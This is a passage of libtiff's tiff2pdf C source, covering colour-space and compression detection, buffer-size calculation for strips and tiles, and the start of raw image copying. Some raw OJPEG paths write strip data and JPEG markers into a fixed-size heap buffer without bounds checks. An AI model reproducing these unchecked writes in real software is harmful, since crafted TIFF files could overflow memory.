if(t2p->tiff_samplesperpixel==0){ TIFFWarning( TIFF2PDF_MODULE, "Image %s has 0 samples per pixel, assuming 1", TIFFFileName(input)); t2p->tiff_samplesperpixel=1; } if(TIFFGetField(input, TIFFTAG_SAMPLEFORMAT, &xuint16) != 0 ){ switch(xuint16){ case 0: case 1: case 4: break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with sample format %u", TIFFFileName(input), xuint16); t2p->t2p_error = T2P_ERR_ERROR; return; break; } } TIFFGetFieldDefaulted(input, TIFFTAG_FILLORDER, &(t2p->tiff_fillorder)); if(TIFFGetField(input, TIFFTAG_PHOTOMETRIC, &(t2p->tiff_photometric)) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with no photometric interpretation tag", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } switch(t2p->tiff_photometric){ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: if (t2p->tiff_bitspersample==1){ t2p->pdf_colorspace=T2P_CS_BILEVEL; if(t2p->tiff_photometric==PHOTOMETRIC_MINISWHITE){ t2p->pdf_switchdecode ^= 1; } } else { t2p->pdf_colorspace=T2P_CS_GRAY; if(t2p->tiff_photometric==PHOTOMETRIC_MINISWHITE){ t2p->pdf_switchdecode ^= 1; } } break; case PHOTOMETRIC_RGB: t2p->pdf_colorspace=T2P_CS_RGB; if(t2p->tiff_samplesperpixel == 3){ break; } if(TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)){ if(xuint16==1) goto photometric_palette; } if(t2p->tiff_samplesperpixel > 3) { if(t2p->tiff_samplesperpixel == 4) { t2p->pdf_colorspace = T2P_CS_RGB; if(TIFFGetField(input, TIFFTAG_EXTRASAMPLES, &xuint16, &xuint16p) && xuint16 == 1) { if(xuint16p[0] == EXTRASAMPLE_ASSOCALPHA){ if( t2p->tiff_bitspersample != 8 ) { TIFFError( TIFF2PDF_MODULE, "No support for BitsPerSample=%d for RGBA", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_sample=T2P_SAMPLE_RGBAA_TO_RGB; break; } if(xuint16p[0] == EXTRASAMPLE_UNASSALPHA){ if( t2p->tiff_bitspersample != 8 ) { TIFFError( TIFF2PDF_MODULE, "No support for BitsPerSample=%d for RGBA", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_sample=T2P_SAMPLE_RGBA_TO_RGB; break; } TIFFWarning( TIFF2PDF_MODULE, "RGB image %s has 4 samples per pixel, assuming RGBA", TIFFFileName(input)); break; } t2p->pdf_colorspace=T2P_CS_CMYK; t2p->pdf_switchdecode ^= 1; TIFFWarning( TIFF2PDF_MODULE, "RGB image %s has 4 samples per pixel, assuming inverse CMYK", TIFFFileName(input)); break; } else { TIFFError( TIFF2PDF_MODULE, "No support for RGB image %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; break; } } else { TIFFError( TIFF2PDF_MODULE, "No support for RGB image %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; break; } case PHOTOMETRIC_PALETTE: photometric_palette: if(t2p->tiff_samplesperpixel!=1){ TIFFError( TIFF2PDF_MODULE, "No support for palettized image %s with not one sample per pixel", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_colorspace=T2P_CS_RGB | T2P_CS_PALETTE; t2p->pdf_palettesize=0x0001<<t2p->tiff_bitspersample; if(!TIFFGetField(input, TIFFTAG_COLORMAP, &r, &g, &b)){ TIFFError( TIFF2PDF_MODULE, "Palettized image %s has no color map", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->pdf_palette != NULL){ _TIFFfree(t2p->pdf_palette); t2p->pdf_palette=NULL; } t2p->pdf_palette = (unsigned char*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_palettesize,3)); if(t2p->pdf_palette==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_read_tiff_image, %s", t2p->pdf_palettesize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<t2p->pdf_palettesize;i++){ t2p->pdf_palette[(i*3)] = (unsigned char) (r[i]>>8); t2p->pdf_palette[(i*3)+1]= (unsigned char) (g[i]>>8); t2p->pdf_palette[(i*3)+2]= (unsigned char) (b[i]>>8); } t2p->pdf_palettesize *= 3; break; case PHOTOMETRIC_SEPARATED: if(TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)){ if(xuint16==1){ goto photometric_palette_cmyk; } } if( TIFFGetField(input, TIFFTAG_INKSET, &xuint16) ){ if(xuint16 != INKSET_CMYK){ TIFFError( TIFF2PDF_MODULE, "No support for %s because its inkset is not CMYK", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } } if(t2p->tiff_samplesperpixel==4){ t2p->pdf_colorspace=T2P_CS_CMYK; } else { TIFFError( TIFF2PDF_MODULE, "No support for %s because it has %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } break; photometric_palette_cmyk: if(t2p->tiff_samplesperpixel!=1){ TIFFError( TIFF2PDF_MODULE, "No support for palettized CMYK image %s with not one sample per pixel", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_colorspace=T2P_CS_CMYK | T2P_CS_PALETTE; t2p->pdf_palettesize=0x0001<<t2p->tiff_bitspersample; if(!TIFFGetField(input, TIFFTAG_COLORMAP, &r, &g, &b, &a)){ TIFFError( TIFF2PDF_MODULE, "Palettized image %s has no color map", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->pdf_palette != NULL){ _TIFFfree(t2p->pdf_palette); t2p->pdf_palette=NULL; } t2p->pdf_palette = (unsigned char*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_palettesize,4)); if(t2p->pdf_palette==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_read_tiff_image, %s", t2p->pdf_palettesize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<t2p->pdf_palettesize;i++){ t2p->pdf_palette[(i*4)] = (unsigned char) (r[i]>>8); t2p->pdf_palette[(i*4)+1]= (unsigned char) (g[i]>>8); t2p->pdf_palette[(i*4)+2]= (unsigned char) (b[i]>>8); t2p->pdf_palette[(i*4)+3]= (unsigned char) (a[i]>>8); } t2p->pdf_palettesize *= 4; break; case PHOTOMETRIC_YCBCR: t2p->pdf_colorspace=T2P_CS_RGB; if(t2p->tiff_samplesperpixel==1){ t2p->pdf_colorspace=T2P_CS_GRAY; t2p->tiff_photometric=PHOTOMETRIC_MINISBLACK; break; } t2p->pdf_sample=T2P_SAMPLE_YCBCR_TO_RGB; #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ t2p->pdf_sample=T2P_SAMPLE_NOTHING; } #endif break; case PHOTOMETRIC_CIELAB: if( t2p->tiff_samplesperpixel != 3){ TIFFError( TIFF2PDF_MODULE, "Unsupported samplesperpixel = %d for CIELAB", t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if( t2p->tiff_bitspersample != 8){ TIFFError( TIFF2PDF_MODULE, "Invalid bitspersample = %d for CIELAB", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_labrange[0]= -127; t2p->pdf_labrange[1]= 127; t2p->pdf_labrange[2]= -127; t2p->pdf_labrange[3]= 127; t2p->pdf_sample=T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_ICCLAB: t2p->pdf_labrange[0]= 0; t2p->pdf_labrange[1]= 255; t2p->pdf_labrange[2]= 0; t2p->pdf_labrange[3]= 255; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_ITULAB: if( t2p->tiff_samplesperpixel != 3){ TIFFError( TIFF2PDF_MODULE, "Unsupported samplesperpixel = %d for ITULAB", t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if( t2p->tiff_bitspersample != 8){ TIFFError( TIFF2PDF_MODULE, "Invalid bitspersample = %d for ITULAB", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_labrange[0]=-85; t2p->pdf_labrange[1]=85; t2p->pdf_labrange[2]=-75; t2p->pdf_labrange[3]=124; t2p->pdf_sample=T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_LOGL: case PHOTOMETRIC_LOGLUV: TIFFError( TIFF2PDF_MODULE, "No support for %s with photometric interpretation LogL/LogLuv", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with photometric interpretation %u", TIFFFileName(input), t2p->tiff_photometric); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_PLANARCONFIG, &(t2p->tiff_planar))){ switch(t2p->tiff_planar){ case 0: TIFFWarning( TIFF2PDF_MODULE, "Image %s has planar configuration 0, assuming 1", TIFFFileName(input)); t2p->tiff_planar=PLANARCONFIG_CONTIG; case PLANARCONFIG_CONTIG: break; case PLANARCONFIG_SEPARATE: t2p->pdf_sample=T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG; if(t2p->tiff_bitspersample!=8){ TIFFError( TIFF2PDF_MODULE, "No support for %s with separated planar configuration and %u bits per sample", TIFFFileName(input), t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with planar configuration %u", TIFFFileName(input), t2p->tiff_planar); t2p->t2p_error = T2P_ERR_ERROR; return; } } TIFFGetFieldDefaulted(input, TIFFTAG_ORIENTATION, &(t2p->tiff_orientation)); if(t2p->tiff_orientation>8){ TIFFWarning(TIFF2PDF_MODULE, "Image %s has orientation %u, assuming 0", TIFFFileName(input), t2p->tiff_orientation); t2p->tiff_orientation=0; } if(TIFFGetField(input, TIFFTAG_XRESOLUTION, &(t2p->tiff_xres) ) == 0){ t2p->tiff_xres=0.0; } if(TIFFGetField(input, TIFFTAG_YRESOLUTION, &(t2p->tiff_yres) ) == 0){ t2p->tiff_yres=0.0; } TIFFGetFieldDefaulted(input, TIFFTAG_RESOLUTIONUNIT, &(t2p->tiff_resunit)); if(t2p->tiff_resunit == RESUNIT_CENTIMETER) { t2p->tiff_xres *= 2.54F; t2p->tiff_yres *= 2.54F; } else if (t2p->tiff_resunit != RESUNIT_INCH && t2p->pdf_centimeters != 0) { t2p->tiff_xres *= 2.54F; t2p->tiff_yres *= 2.54F; } t2p_compose_pdf_page(t2p); if( t2p->t2p_error == T2P_ERR_ERROR ) return; t2p->pdf_transcode = T2P_TRANSCODE_ENCODE; if(t2p->pdf_nopassthrough==0){ #ifdef CCITT_SUPPORT if(t2p->tiff_compression==COMPRESSION_CCITTFAX4 ){ if(TIFFIsTiled(input) || (TIFFNumberOfStrips(input)==1) ){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_G4; } } #endif #ifdef ZIP_SUPPORT if(t2p->tiff_compression== COMPRESSION_ADOBE_DEFLATE || t2p->tiff_compression==COMPRESSION_DEFLATE){ if(TIFFIsTiled(input) || (TIFFNumberOfStrips(input)==1) ){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_ZIP; } } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_JPEG; t2p_process_ojpeg_tables(t2p, input); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_JPEG){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_JPEG; } #endif (void)0; } if(t2p->pdf_transcode!=T2P_TRANSCODE_RAW){ t2p->pdf_compression = t2p->pdf_defaultcompression; } #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ if(t2p->pdf_colorspace & T2P_CS_PALETTE){ t2p->pdf_sample|=T2P_SAMPLE_REALIZE_PALETTE; t2p->pdf_colorspace ^= T2P_CS_PALETTE; t2p->tiff_pages[t2p->pdf_page].page_extra--; } } if(t2p->tiff_compression==COMPRESSION_JPEG){ if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ TIFFError( TIFF2PDF_MODULE, "No support for %s with JPEG compression and separated planar configuration", TIFFFileName(input)); t2p->t2p_error=T2P_ERR_ERROR; return; } } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ TIFFError( TIFF2PDF_MODULE, "No support for %s with OJPEG compression and separated planar configuration", TIFFFileName(input)); t2p->t2p_error=T2P_ERR_ERROR; return; } } #endif if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){ if(t2p->pdf_colorspace & T2P_CS_CMYK){ t2p->tiff_samplesperpixel=4; t2p->tiff_photometric=PHOTOMETRIC_SEPARATED; } else { t2p->tiff_samplesperpixel=3; t2p->tiff_photometric=PHOTOMETRIC_RGB; } } if (TIFFGetField(input, TIFFTAG_TRANSFERFUNCTION, &(t2p->tiff_transferfunction[0]), &(t2p->tiff_transferfunction[1]), &(t2p->tiff_transferfunction[2]))) { if((t2p->tiff_transferfunction[1] != (float*) NULL) && (t2p->tiff_transferfunction[2] != (float*) NULL) && (t2p->tiff_transferfunction[1] != t2p->tiff_transferfunction[0])) { t2p->tiff_transferfunctioncount=3; } else { t2p->tiff_transferfunctioncount=1; } } else { t2p->tiff_transferfunctioncount=0; } if(TIFFGetField(input, TIFFTAG_WHITEPOINT, &xfloatp)!=0){ t2p->tiff_whitechromaticities[0]=xfloatp[0]; t2p->tiff_whitechromaticities[1]=xfloatp[1]; if(t2p->pdf_colorspace & T2P_CS_GRAY){ t2p->pdf_colorspace |= T2P_CS_CALGRAY; } if(t2p->pdf_colorspace & T2P_CS_RGB){ t2p->pdf_colorspace |= T2P_CS_CALRGB; } } if(TIFFGetField(input, TIFFTAG_PRIMARYCHROMATICITIES, &xfloatp)!=0){ t2p->tiff_primarychromaticities[0]=xfloatp[0]; t2p->tiff_primarychromaticities[1]=xfloatp[1]; t2p->tiff_primarychromaticities[2]=xfloatp[2]; t2p->tiff_primarychromaticities[3]=xfloatp[3]; t2p->tiff_primarychromaticities[4]=xfloatp[4]; t2p->tiff_primarychromaticities[5]=xfloatp[5]; if(t2p->pdf_colorspace & T2P_CS_RGB){ t2p->pdf_colorspace |= T2P_CS_CALRGB; } } if(t2p->pdf_colorspace & T2P_CS_LAB){ if(TIFFGetField(input, TIFFTAG_WHITEPOINT, &xfloatp) != 0){ t2p->tiff_whitechromaticities[0]=xfloatp[0]; t2p->tiff_whitechromaticities[1]=xfloatp[1]; } else { t2p->tiff_whitechromaticities[0]=0.3457F; /* 0.3127F; */ t2p->tiff_whitechromaticities[1]=0.3585F; /* 0.3290F; */ } } if(TIFFGetField(input, TIFFTAG_ICCPROFILE, &(t2p->tiff_iccprofilelength), &(t2p->tiff_iccprofile))!=0){ t2p->pdf_colorspace |= T2P_CS_ICCBASED; } else { t2p->tiff_iccprofilelength=0; t2p->tiff_iccprofile=NULL; } #ifdef CCITT_SUPPORT if( t2p->tiff_bitspersample==1 && t2p->tiff_samplesperpixel==1){ t2p->pdf_compression = T2P_COMPRESS_G4; } #endif return; } /* This function returns the necessary size of a data buffer to contain the raw or uncompressed image data from the input TIFF for a page. */ void t2p_read_tiff_size(T2P* t2p, TIFF* input){ uint64* sbc=NULL; #if defined(JPEG_SUPPORT) || defined (OJPEG_SUPPORT) unsigned char* jpt=NULL; tstrip_t i=0; tstrip_t stripcount=0; #endif uint64 k = 0; if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4 ){ TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); t2p->tiff_datasize=(tmsize_t)sbc[0]; return; } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_ZIP){ TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); t2p->tiff_datasize=(tmsize_t)sbc[0]; return; } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG){ if(!TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc)){ TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_STRIPBYTECOUNTS", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ k = checkAdd64(k, sbc[i], t2p); } if(TIFFGetField(input, TIFFTAG_JPEGIFOFFSET, &(t2p->tiff_dataoffset))){ if(t2p->tiff_dataoffset != 0){ if(TIFFGetField(input, TIFFTAG_JPEGIFBYTECOUNT, &(t2p->tiff_datasize))!=0){ if((uint64)t2p->tiff_datasize < k) { TIFFWarning(TIFF2PDF_MODULE, "Input file %s has short JPEG interchange file byte count", TIFFFileName(input)); t2p->pdf_ojpegiflength=t2p->tiff_datasize; k = checkAdd64(k, t2p->tiff_datasize, t2p); k = checkAdd64(k, 6, t2p); k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, stripcount, t2p); t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } return; }else { TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_JPEGIFBYTECOUNT", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } } } k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, 2048, t2p); t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG) { uint32 count = 0; if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0 ){ if(count > 4){ k += count; k -= 2; /* don't use EOI of header */ } } else { k = 2; /* SOI for first strip */ } stripcount=TIFFNumberOfStrips(input); if(!TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc)){ TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_STRIPBYTECOUNTS", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<stripcount;i++){ k = checkAdd64(k, sbc[i], t2p); k -=2; /* don't use EOI of strip */ k +=2; /* add space for restart marker */ } k = checkAdd64(k, 2, t2p); /* use EOI of last strip */ k = checkAdd64(k, 6, t2p); /* for DRI marker of first strip */ t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } #endif (void) 0; } k = checkMultiply64(TIFFScanlineSize(input), t2p->tiff_length, t2p); if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ k = checkMultiply64(k, t2p->tiff_samplesperpixel, t2p); } if (k == 0) { /* Assume we had overflow inside TIFFScanlineSize */ t2p->t2p_error = T2P_ERR_ERROR; } t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } /* This function returns the necessary size of a data buffer to contain the raw or uncompressed image data from the input TIFF for a tile of a page. */ void t2p_read_tiff_size_tile(T2P* t2p, TIFF* input, ttile_t tile){ uint64* tbc = NULL; uint16 edge=0; #ifdef JPEG_SUPPORT unsigned char* jpt; #endif uint64 k; edge |= t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile); edge |= t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile); if(t2p->pdf_transcode==T2P_TRANSCODE_RAW){ if(edge #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) && !(t2p->pdf_compression==T2P_COMPRESS_JPEG) #endif ){ t2p->tiff_datasize=TIFFTileSize(input); if (t2p->tiff_datasize == 0) { /* Assume we had overflow inside TIFFTileSize */ t2p->t2p_error = T2P_ERR_ERROR; } return; } else { TIFFGetField(input, TIFFTAG_TILEBYTECOUNTS, &tbc); k=tbc[tile]; #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ k = checkAdd64(k, 2048, t2p); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_JPEG) { uint32 count = 0; if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt)!=0){ if(count > 4){ k = checkAdd64(k, count, t2p); k -= 2; /* don't use EOI of header or SOI of tile */ } } } #endif t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } } k = TIFFTileSize(input); if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ k = checkMultiply64(k, t2p->tiff_samplesperpixel, t2p); } if (k == 0) { /* Assume we had overflow inside TIFFTileSize */ t2p->t2p_error = T2P_ERR_ERROR; } t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } /* * This functions returns a non-zero value when the tile is on the right edge * and does not have full imaged tile width. */ int t2p_tile_is_right_edge(T2P_TILES tiles, ttile_t tile){ if( ((tile+1) % tiles.tiles_tilecountx == 0) && (tiles.tiles_edgetilewidth != 0) ){ return(1); } else { return(0); } } /* * This functions returns a non-zero value when the tile is on the bottom edge * and does not have full imaged tile length. */ int t2p_tile_is_bottom_edge(T2P_TILES tiles, ttile_t tile){ if( ((tile+1) > (tiles.tiles_tilecount-tiles.tiles_tilecountx) ) && (tiles.tiles_edgetilelength != 0) ){ return(1); } else { return(0); } } /* * This function returns a non-zero value when the tile is a right edge tile * or a bottom edge tile. */ int t2p_tile_is_edge(T2P_TILES tiles, ttile_t tile){ return(t2p_tile_is_right_edge(tiles, tile) | t2p_tile_is_bottom_edge(tiles, tile) ); } /* This function returns a non-zero value when the tile is a right edge tile and a bottom edge tile. */ int t2p_tile_is_corner_edge(T2P_TILES tiles, ttile_t tile){ return(t2p_tile_is_right_edge(tiles, tile) & t2p_tile_is_bottom_edge(tiles, tile) ); } /* This function reads the raster image data from the input TIFF for an image and writes the data to the output PDF XObject image dictionary stream. It returns the amount written or zero on error. */ tsize_t t2p_readwrite_pdf_image(T2P* t2p, TIFF* input, TIFF* output){ tsize_t written=0; unsigned char* buffer=NULL; unsigned char* samplebuffer=NULL; tsize_t bufferoffset=0; tsize_t samplebufferoffset=0; tsize_t read=0; tstrip_t i=0; tstrip_t j=0; tstrip_t stripcount=0; tsize_t stripsize=0; tsize_t sepstripcount=0; tsize_t sepstripsize=0; #ifdef OJPEG_SUPPORT toff_t inputoffset=0; uint16 h_samp=1; uint16 v_samp=1; uint16 ri=1; uint32 rows=0; #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT unsigned char* jpt; float* xfloatp; uint64* sbc; unsigned char* stripbuffer; tsize_t striplength=0; uint32 max_striplength=0; #endif /* ifdef JPEG_SUPPORT */ /* Fail if prior error (in particular, can't trust tiff_datasize) */ if (t2p->t2p_error != T2P_ERR_OK) return(0); if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if (buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for " "t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ /* * make sure is lsb-to-msb * bit-endianness fill order */ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef CCITT_SUPPORT */ #ifdef ZIP_SUPPORT if (t2p->pdf_compression == T2P_COMPRESS_ZIP) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB) { TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef ZIP_SUPPORT */ #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG) { if(t2p->tiff_dataoffset != 0) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if(t2p->pdf_ojpegiflength==0){ inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); t2pReadFile(input, (tdata_t) buffer, t2p->tiff_datasize); t2pSeekFile(input, inputoffset, SEEK_SET); t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } else { inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); bufferoffset = t2pReadFile(input, (tdata_t) buffer, t2p->pdf_ojpegiflength); t2p->pdf_ojpegiflength = 0; t2pSeekFile(input, inputoffset, SEEK_SET); TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp); buffer[bufferoffset++]= 0xff; buffer[bufferoffset++]= 0xdd; buffer[bufferoffset++]= 0x00; buffer[bufferoffset++]= 0x04; h_samp*=8; v_samp*=8; ri=(t2p->tiff_width+h_samp-1) / h_samp; TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows); ri*=(rows+v_samp-1)/v_samp; buffer[bufferoffset++]= (ri>>8) & 0xff; buffer[bufferoffset++]= ri & 0xff; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0 ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } } else { if(! t2p->pdf_ojpegdata){ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with bad tables", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); _TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength); bufferoffset=t2p->pdf_ojpegdatalength; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } if( ! ( (buffer[bufferoffset-1]==0xd9) && (buffer[bufferoffset-2]==0xff) ) ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); #if 0 /* This hunk of code removed code is clearly mis-placed and we are not sure where it should be (if anywhere) */ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with no JPEG File Interchange offset", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); #endif } } #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG) { uint32 count = 0; buffer = 